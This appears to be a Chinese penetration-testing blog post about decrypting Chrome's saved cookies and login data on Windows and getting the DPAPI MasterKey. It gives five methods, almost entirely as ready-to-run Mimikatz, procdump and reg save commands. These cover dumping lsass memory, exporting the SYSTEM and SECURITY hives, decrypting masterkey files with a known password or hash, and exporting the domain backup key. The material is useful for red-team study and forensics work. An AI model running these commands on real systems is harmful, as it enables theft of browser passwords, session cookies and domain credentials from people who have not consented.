Toc
  1. 谷歌浏览器cookies&登陆凭据解密&Windows系统下DPAPI中的MasterKey获取
  • 谷歌浏览器の加解密
    1. 第一种方法 :直接以加密数据的用户身份调用DPAPI解密
    2. 第二种方法 : 获取MasterKey脱机解密
  • 拿masterkey的几种方法
    1. 方法一 直接在目标机器运行Mimikatz提取
    2. 方法二 转储lsass.exe 进程从内存提取masterkey
    3. 方法三 导出SAM注册表 提取user hash 解密masterkey文件
    4. 方法四 已知用户密码(或hash) 用户SID(masterkey路径) 拿到加密后的masterkey文件
    5. 方法五 通过域管理员导出backup key 恢复Master key
      1. 参考
  • Toc
    0 results found
    白帽酱
    chrome 浏览器cookies&登陆凭据解密&Windows系统下DPAPI中的MasterKey获取
    谷歌浏览器cookies&登陆凭据解密&Windows系统下DPAPI中的MasterKey获取

    谷歌浏览器の加解密

    Chrome cookies 储存位置 “%localappdata%\Google\Chrome\User Data\Default\Cookies”
    Chrome 登陆凭据 储存位置 “%localappdata%\Google\Chrome\User Data\Default\Login Data”
    谷歌浏览器使用了windows自带的DPAPI进行加解密操作
    解密方法有两种

    第一种方法 :直接以加密数据的用户身份调用DPAPI解密

    Mimikatz
    dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Login Data” /unprotect
    ps:如果没有目标加密文件的用户的权限 或者是想要解密机器上其他用户加密储存的信息这种方法就不能使用了

    第二种方法 : 获取MasterKey脱机解密

    DPAPI加密的数据需要使用MasterKey解密
    如果可以拿到MasterKey的话就可直接解密数据
    Mimikatz
    dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Login Data” /unprotect /masterkey:36af83d6e6a67e4f67e6f45ca0464a031946182b3e67d72ce9c08e22d7a720b5d2a768418291f28fb79c6def7b068f84955e764e87e36c6b0b666e05fb7eb9f4

    拿masterkey的几种方法

    方法一 直接在目标机器运行Mimikatz提取

    privilege::debug
    sekurlsa::dpapi
    (需目标用户已登陆)

    方法二 转储lsass.exe 进程从内存提取masterkey

    如果目标用户已经登陆 lsass进程的内存中会存在masterkey 转储之 使用Mimikatz提取
    procdump.exe -accepteula -ma lsass.exe 666.dmp
    sekurlsa::minidump lsass.dmp
    sekurlsa::dpapi

    方法三 导出SAM注册表 提取user hash 解密masterkey文件

    需SYSTEM权限
    reg save HKLM\SYSTEM SS.hiv
    reg save HKLM\SECURITY SE.hiv
    m/u 值解密Masterkey文件
    mimikatz log “lsadump::secrets /system:SS.hiv /security:SE.hiv”
    拿到DPAPI_SYSTEM m/u 后半部分的值 (HASH)
    这种方法对应MASTERKEY位置在C:\Windows\System32\Microsoft\Protect\S-1-5-18\User
    (一个个文件试总会解密成功的 现在不知道怎么获取用户对应的GUID
    mimikatz “dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User{GUID} /system:HASH”
    即可拿到masterkey

    方法四 已知用户密码(或hash) 用户SID(masterkey路径) 拿到加密后的masterkey文件

    这是当时 volatility内存取证题遇到的问题 这里就随手记录下来了
    第一步
    获取用户密码(或hash)

    找到masterkey文件位置
    这种方法的文件位置在C:\Users{username}\AppData\Roaming\Microsoft\Protect{SID}{GUID}
    dpapi::masterkey /in:C:\Users\Genga03\AppData\Roaming\Microsoft\Protect\S-1-5-21-262715442-3761430816-2198621988-1001\57935170-beab-4565-ba79-2b09570b95a6 /sid:S-1-5-21-262715442-3761430816-2198621988-1001 /password:vIg*q3x6GFa5aFBA /protected
    /password可以用/hash:密码hash代替(NTLM or SHA1)
    即可拿到masterkey

    方法五 通过域管理员导出backup key 恢复Master key

    利用条件:目标机器加入域 要拿的是域用户的key 拿到域管理员权限
    lsadump::backupkeys /system:123.com /export (需要域管理员权限) 导出domain backup key
    dpapi::masterkey /in:”C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe” /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
    即可拿到masterkey

    参考

    渗透技巧-获取Windows系统下DPAPI中的MasterKey
    howto-~-scheduled-tasks-credentials
    Reading DPAPI Encrypted Secrets with Mimikatz and C++
    Operational Guidance for Offensive User DPAPI Abuse

    本文作者:白帽酱
    版权声明:本文首发于白帽酱的博客,转载请注明出处!